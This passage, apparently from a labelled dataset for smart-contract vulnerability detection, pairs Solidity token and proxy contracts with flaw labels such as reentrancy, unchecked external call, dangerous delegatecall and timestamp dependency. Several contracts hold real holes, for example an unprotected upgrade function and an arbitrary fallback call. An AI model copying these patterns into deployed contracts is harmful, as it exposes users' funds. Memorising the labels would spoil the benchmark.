balances[_from].sub(_value); // Subtract from the sender balances[_to] = balances[_to].add(_value); // Add the same to the recipient emit Transfer(_from, _to, _value); } function safeWithdrawal(uint _value ) onlyOwner public { if (_value == 0) owner.transfer(address(this).balance); else owner.transfer(_value); } }",./Dataset/ether strict equality (SE),3,3 1556.sol,"pragma solidity ^0.4.19; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ contract SafeMath { uint256 constant public MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; function safeAdd(uint256 x, uint256 y) pure internal returns (uint256 z) { if (x > MAX_UINT256 - y) revert(); return x + y; } function safeSub(uint256 x, uint256 y) pure internal returns (uint256 z) { if (x < y) revert(); return x - y; } function safeMul(uint256 x, uint256 y) pure internal returns (uint256 z) { if (y == 0) return 0; if (x > MAX_UINT256 / y) revert(); return x * y; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization * control functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the * sender account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC223 { uint public totalSupply; function balanceOf(address who) public view returns (uint); function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); } /* * Contract that is working with ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function * if data of token transaction is a function execution */ } } contract ERC223Token is ERC223, SafeMath { mapping(address => uint) balances; string public name = ""NIJIGEN""; string public symbol = ""NIJ""; uint8 public decimals = 8; uint256 public totalSupply = 24e9 * 1e8; // Function to access name of token . function name() public view returns (string _name) { return name; } // Function to access symbol of token . function symbol() public view returns (string _symbol) { return symbol; } // Function to access decimals of token . function decimals() public view returns (uint8 _decimals) { return decimals; } // Function to access total supply of tokens . function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { if(isContract(_to)) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) public returns (bool success) { if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) public returns (bool success) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } //function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); Transfer(msg.sender, _to, _value, _data); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } }",./Dataset/unchecked external call (UC),7,7 29842.sol,"pragma solidity ^0.4.18; contract LANDStorage { mapping (address => uint) latestPing; uint256 constant clearLow = 0xffffffffffffffffffffffffffffffff00000000000000000000000000000000; uint256 constant clearHigh = 0x00000000000000000000000000000000ffffffffffffffffffffffffffffffff; uint256 constant factor = 0x100000000000000000000000000000000; } contract AssetRegistryStorage { string internal _name; string internal _symbol; string internal _description; uint256 internal _count; mapping(address => uint256[]) internal _assetsOf; mapping(uint256 => address) internal _holderOf; mapping(uint256 => uint256) internal _indexOfAsset; mapping(uint256 => string) internal _assetData; mapping(address => mapping(address => bool)) internal _operators; bool internal _reentrancy; } contract OwnableStorage { address public owner; function OwnableStorage() internal { owner = msg.sender; } } contract ProxyStorage { address currentContract; } contract Storage is ProxyStorage, OwnableStorage, AssetRegistryStorage, LANDStorage { } contract DelegateProxy { function delegatedFwd(address _dst, bytes _calldata) internal { require(isContract(_dst)); assembly { let result := delegatecall(sub(gas, 10000), _dst, add(_calldata, 0x20), mload(_calldata), 0, 0) let size := returndatasize let ptr := mload(0x40) returndatacopy(ptr, 0, size) switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } function isContract(address _target) constant internal returns (bool) { uint256 size; assembly { size := extcodesize(_target) } return size > 0; } } contract IApplication { function initialize(bytes data) public; } contract Proxy is ProxyStorage, DelegateProxy { event Upgrade(address indexed newContract, bytes initializedWith); function upgrade(IApplication newContract, bytes data) public { currentContract = newContract; newContract.initialize(data); Upgrade(newContract, data); } function () payable public { require(currentContract != 0); delegatedFwd(currentContract, msg.data); } } contract LANDProxy is Storage, Proxy { }",./Dataset/dangerous delegatecall (DE)/,1,1 0x02f65ca1b619b6a659ea383bba6f5ffca212aca0_HealthCoin.sol,"pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract HealthCoin { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function HealthCoin( uint256 initialSupply ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = ""HealthCoin""; symbol = ""HCoin""; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } }",Safe,8,8 32791.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract Ballers is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function Ballers( ) { balances[msg.sender] = 1000000; // Give the creator all initial tokens (100000 for example) totalSupply = 1000000; // Update total supply (100000 for example) name = ""Ballers""; // Set the name for display purposes decimals = 0; // Amount of decimals for display purposes symbol = ""BLRS""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 0x02725836ebf3ecdb1cdf1c7b02fcbbfaa2736af8_BitAirToken.sol,"/* * ERC20 interface * see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { uint public totalSupply; function balanceOf(address who) constant returns (uint); function allowance(address owner, address spender) constant returns (uint); function transfer(address to, uint value) returns (bool ok); function transferFrom(address from, address to, uint value) returns (bool ok); function approve(address spender, uint value) returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } /** * Math operations with safety checks */ contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } /** * Standard ERC20 token with Short Hand Attack and approve() race condition mitigation. * * Based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, SafeMath { /* Actual balances of token holders */ mapping(address => uint) balances; /* approve() allowances */ mapping (address => mapping (address => uint)) allowed; /* Interface declaration */ function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * Upgrade agent interface inspired by Lunyr. * * Upgrade agent transfers tokens to a new version of a token contract. * Upgrade agent can be set on a token by the upgrade master. * * Steps are * - Upgradeabletoken.upgradeMaster calls UpgradeableToken.setUpgradeAgent() * - Individual token holders can now call UpgradeableToken.upgrade() * -> This results to call UpgradeAgent.upgradeFrom() that issues new tokens * -> UpgradeableToken.upgrade() reduces the original total supply based on amount of upgraded tokens * * Upgrade agent itself can be the token contract, or just a middle man contract doing the heavy lifting. */ contract UpgradeAgent { uint public originalSupply; /** Interface marker */ function isUpgradeAgent() public constant returns (bool) { return true; } /** * Upgrade amount of tokens to a new version. * * Only callable by UpgradeableToken. * * @param _tokenHolder Address that wants to upgrade its tokens * @param _amount Number of tokens to upgrade. The address may consider to hold back some amount of tokens in the old version. */ function upgradeFrom(address _tokenHolder, uint256 _amount) external; } /** * A token upgrade mechanism where users can opt-in amount of tokens to the next smart contract revision. * * First envisioned by Golem and Lunyr projects. */ contract UpgradeableToken is StandardToken { /** Contract / person who can set the upgrade path. This can be the same as team multisig wallet, as what it is with its default value. */ address public upgradeMaster; /** The next contract where the tokens will be migrated. */ UpgradeAgent public upgradeAgent; /** How many tokens we have upgraded by now. */ uint256 public totalUpgraded; /** * Upgrade states. * * - NotAllowed: The child contract has not reached a condition where the upgrade can bgun * - WaitingForAgent: Token allows upgrade, but we don't have a new agent yet * - ReadyToUpgrade: The agent is set, but not a single token has been upgraded yet * - Upgrading: Upgrade agent is set and the balance holders can upgrade their tokens * */ enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} /** * Somebody has upgraded some of his tokens. */ event Upgrade(address indexed _from, address indexed _to, uint256 _value); /** * New upgrade agent available. */ event UpgradeAgentSet(address agent); /** * Upgrade master updated. */ event NewUpgradeMaster(address upgradeMaster); /** * Do not allow construction without upgrade master set. */ function UpgradeableToken(address _upgradeMaster) { upgradeMaster = _upgradeMaster; NewUpgradeMaster(upgradeMaster); } /** * Allow the token holder to upgrade some of their tokens to a new contract. */ function upgrade(uint256 value) public { UpgradeState state = getUpgradeState(); if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) { // Called in a bad state throw; } // Validate input value. if (value == 0) throw; balances[msg.sender] = safeSub(balances[msg.sender], value); // Take tokens out from circulation totalSupply = safeSub(totalSupply, value); totalUpgraded = safeAdd(totalUpgraded, value); // Upgrade agent reissues the tokens upgradeAgent.upgradeFrom(msg.sender, value); Upgrade(msg.sender, upgradeAgent, value); } /** * Set an upgrade agent that handles */ function setUpgradeAgent(address agent) external { if(!canUpgrade()) { // The token is not yet in a state that we could think upgrading throw; } if (agent == 0x0) throw; // Only a master can designate the next agent if (msg.sender != upgradeMaster) throw; // Upgrade has already begun for an agent if (getUpgradeState() == UpgradeState.Upgrading) throw; upgradeAgent = UpgradeAgent(agent); // Bad interface if(!upgradeAgent.isUpgradeAgent()) throw; // Make sure that token supplies match in source and target if (upgradeAgent.originalSupply() != totalSupply) throw; UpgradeAgentSet(upgradeAgent); } /** * Get the state of the token upgrade. */ function getUpgradeState() public constant returns(UpgradeState) { if(!canUpgrade()) return UpgradeState.NotAllowed; else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; else return UpgradeState.Upgrading; } /** * Change the upgrade master. * * This allows us to set a new owner for the upgrade mechanism. */ function setUpgradeMaster(address master) public { if (master == 0x0) throw; if (msg.sender != upgradeMaster) throw; upgradeMaster = master; NewUpgradeMaster(upgradeMaster); } /** * Child contract can enable to provide the condition when the upgrade can begun. */ function canUpgrade() public constant returns(bool) { return true; } } /** * Centrally issued Ethereum token. * * We mix in burnable and upgradeable traits. * * Token supply is created in the token contract creation and allocated to owner. * The owner can then transfer from its supply to crowdsale participants. * The owner, or anybody, can burn any excessive tokens they are holding. * */ contract BitAirToken is UpgradeableToken { string public name; string public symbol; uint public decimals; /** Name and symbol were updated. */ event UpdatedTokenInformation(string newName, string newSymbol); function BitAirToken(address _owner, string _name, string _symbol, uint _totalSupply, uint _decimals) UpgradeableToken(_owner) { name = _name; symbol = _symbol; totalSupply = _totalSupply; decimals = _decimals; // Allocate initial balance to the owner balances[_owner] = _totalSupply; } /** * Owner can update token information here. * * It is often useful to conceal the actual token association, until * the token operations, like central issuance or reissuance have been completed. * In this case the initial token can be supplied with empty name and symbol information. * * This function allows the token owner to rename the token after the operations * have been completed and then point the audience to use the token contract. */ function setTokenInformation(string _name, string _symbol) { if(msg.sender != upgradeMaster) { throw; } if(bytes(name).length > 0 || bytes(symbol).length > 0) { // Information already set // Allow owner to set this information only once throw; } name = _name; symbol = _symbol; UpdatedTokenInformation(name, symbol); } }",Safe,8,8 9242.sol,"pragma solidity ^0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract StandardToken { using SafeMath for uint256; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => uint256) internal balances_; mapping(address => mapping(address => uint256)) internal allowed_; uint256 internal totalSupply_; string public name; string public symbol; uint8 public decimals; function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address _owner) public view returns (uint256) { return balances_[_owner]; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed_[_owner][_spender]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances_[msg.sender]); balances_[msg.sender] = balances_[msg.sender].sub(_value); balances_[_to] = balances_[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances_[_from]); require(_value <= allowed_[_from][msg.sender]); balances_[_from] = balances_[_from].sub(_value); balances_[_to] = balances_[_to].add(_value); allowed_[_from][msg.sender] = allowed_[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed_[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } } contract EthTeamContract is StandardToken, Ownable { event Buy(address indexed token, address indexed from, uint256 value, uint256 weiValue); event Sell(address indexed token, address indexed from, uint256 value, uint256 weiValue); event BeginGame(address indexed team1, address indexed team2, uint64 gameTime); event EndGame(address indexed team1, address indexed team2, uint8 gameResult); event ChangeStatus(address indexed team, uint8 status); uint256 public price; uint8 public status; uint64 public gameTime; uint64 public finishTime; address public feeOwner; address public gameOpponent; function EthTeamContract( string _teamName, string _teamSymbol, address _gameOpponent, uint64 _gameTime, uint64 _finishTime, address _feeOwner ) public { name = _teamName; symbol = _teamSymbol; decimals = 3; totalSupply_ = 0; price = 1 szabo; gameOpponent = _gameOpponent; gameTime = _gameTime; finishTime = _finishTime; feeOwner = _feeOwner; owner = msg.sender; } function transfer(address _to, uint256 _value) public returns (bool) { if (_to != address(this)) { return super.transfer(_to, _value); } require(_value <= balances_[msg.sender] && status == 0 && gameTime == 0); balances_[msg.sender] = balances_[msg.sender].sub(_value); totalSupply_ = totalSupply_.sub(_value); uint256 weiAmount = price.mul(_value); msg.sender.transfer(weiAmount); emit Transfer(msg.sender, _to, _value); emit Sell(_to, msg.sender, _value, weiAmount); return true; } function() payable public { require(status == 0 && price > 0 && gameTime > block.timestamp); uint256 amount = msg.value.div(price); balances_[msg.sender] = balances_[msg.sender].add(amount); totalSupply_ = totalSupply_.add(amount); emit Transfer(address(this), msg.sender, amount); emit Buy(address(this), msg.sender, amount, msg.value); } function changeStatus(uint8 _status) onlyOwner public { require(status != _status); status = _status; emit ChangeStatus(address(this), _status); } function changeFeeOwner(address _feeOwner) onlyOwner public { require(_feeOwner != feeOwner && _feeOwner != address(0)); feeOwner = _feeOwner; } function finish() onlyOwner public { require(block.timestamp >= finishTime); feeOwner.transfer(address(this).balance); } function beginGame(address _gameOpponent, uint64 _gameTime) onlyOwner public { require(_gameOpponent != address(this)); require(_gameTime == 0 || (_gameTime > 1514764800)); gameOpponent = _gameOpponent; gameTime = _gameTime; status = 0; emit BeginGame(address(this), _gameOpponent, _gameTime); } function endGame(address _gameOpponent, uint8 _gameResult) onlyOwner public { require(gameOpponent != address(0) && gameOpponent == _gameOpponent); uint256 amount = address(this).balance; uint256 opAmount = gameOpponent.balance; require(_gameResult == 1 || (_gameResult == 2 && amount >= opAmount) || _gameResult == 3); EthTeamContract op = EthTeamContract(gameOpponent); if (_gameResult == 1) { if (amount > 0 && totalSupply_ > 0) { uint256 lostAmount = amount; if (op.totalSupply() > 0) { uint256 feeAmount = lostAmount.div(20); lostAmount = lostAmount.sub(feeAmount); feeOwner.transfer(feeAmount); op.transferFundAndEndGame.value(lostAmount)(); } else { feeOwner.transfer(lostAmount); op.transferFundAndEndGame(); } } else { op.transferFundAndEndGame(); } } else if (_gameResult == 2) { if (amount > opAmount) { lostAmount = amount.sub(opAmount).div(2); if (op.totalSupply() > 0) { feeAmount = lostAmount.div(20); lostAmount = lostAmount.sub(feeAmount); feeOwner.transfer(feeAmount); op.transferFundAndEndGame.value(lostAmount)(); } else { feeOwner.transfer(lostAmount); op.transferFundAndEndGame(); } } else if (amount == opAmount) { op.transferFundAndEndGame(); } else { revert(); } } else if (_gameResult == 3) { op.transferFundAndEndGame(); } else { revert(); } endGameInternal(); if (totalSupply_ > 0) { price = address(this).balance.div(totalSupply_); } emit EndGame(address(this), _gameOpponent, _gameResult); } function endGameInternal() private { gameOpponent = address(0); gameTime = 0; status = 0; } function transferFundAndEndGame() payable public { require(gameOpponent != address(0) && gameOpponent == msg.sender); if (msg.value > 0 && totalSupply_ > 0) { price = address(this).balance.div(totalSupply_); } endGameInternal(); } }",./Dataset/timestamp dependency (TP)/,6,6 10755.sol," pragma solidity ^0.4.20; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract Crowdsale { using SafeMath for uint256; MintableToken public token; uint256 public startTime; uint256 public endTime; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public { require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != address(0)); token = createTokenContract(); startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; } function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } function () external payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(rate); weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function forwardFunds() internal { wallet.transfer(msg.value); } function validPurchase() internal view returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } function hasEnded() public view returns (bool) { return now > endTime; } } contract 